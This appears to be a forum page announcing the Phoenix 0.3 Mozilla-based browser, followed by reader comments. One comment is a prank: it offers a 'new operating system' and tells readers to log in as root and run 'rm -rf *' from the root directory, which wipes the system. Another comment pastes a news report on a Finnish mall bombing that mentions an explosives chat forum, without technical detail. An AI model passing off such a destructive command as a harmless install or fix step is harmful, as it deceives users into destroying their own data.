Phoenix 0.3 Is Out

David Tansey writes "The Mozilla-based stripped down browser has now reached binary release 0.3. They are ripping out all the mail and news functions, composer functions, and IRC functions. The point is to work against the 'monolitic' mozilla trunk and make a browser, not a suite. I've noticed that it now uses considerably less memory than Mozilla uses and loads faster. Check it out here."

    I have just released my new operating system based up the very same mindset, I beleve that I have created the fastest loading, lowest bloat OS ever released, it's completely open source. As a matter of a fact, you already have it on your computer and you just don't know it,

    {just log in as root, then go to your / directory and simply type in the command rm -rf * }

    This will activate my new operating system, also as required here is a full source code dump {""} that's it, nothing more is necessary, be the first to join the future of computing. :)

    HELSINKI, Finland -- A 17-year-old boy known as "Einstein" in an Internet chat room dealing with explosives was held for questioning Tuesday in a deadly bombing at a suburban shopping mall. Police said the teenager had contacts with Petri Gerdt, the 19-year-old college student suspected of making and planting the explosive device that killed him and six others Friday evening outside a McDonald's restaurant in the mall in Vantaa, about 10 miles north of Helsinki. Investigators were still searching for a motive, but said they believed Gerdt acted alone and ruled out any links to terrorist groups.

    Police questioned several people on Monday, releasing all except the 17-year-old from the southern Finnish town of Hameenlinna. No charges have been filed against the youth, police said, refusing to identify him other than to say he went by the name "Einstein" in visits to the Web chat line.

    Police say Gerdt, an avid Internet surfer, had visited the chat room, known as the "bomb forum," and may have used the knowledge he acquired there to make the explosive device, which contained gunshot pellets and metal pieces.

    Investigators have reconstructed the scene of the explosion and released photographs of the suspect, appealing for information about his movements in his final hours.

    Finns struggled to come to terms with the blast -- a rare act of violence in the nation of 5.2 million people.

    The government ordered public offices to fly flags at half-staff and urged private citizens to do the same on Tuesday as part of a national day of mourning.

    Interior Minister Ville Itala described the blast as "a shocking and extremely exceptional crime in Finland."

    "I am sure that this incident will leave its mark on every Finn," Itala told Parliament.

    Itala also said the government had set up a working group to study how to stop the spread of criminal material on the Internet. After his address, lawmakers held a moment of silence.

    Police said Gerdt had no criminal record, affiliations to political movements or any known problems with alcohol or drugs.

    A lanky youth who played basketball, Gerdt studied chemical engineering at a technical college near the blast site. From a well-off family in Vantaa, he was a lonely figure with few friends, fellow students said.

    Gerdt's last known message on the Web site on Oct. 8 said he dreamt that a police car arrived "at the explosion site."
    >br>"Luckily, I was already 'floating' in the other direction," Gerdt, known as 'rc' on the chat line, wrote three days before the blast.
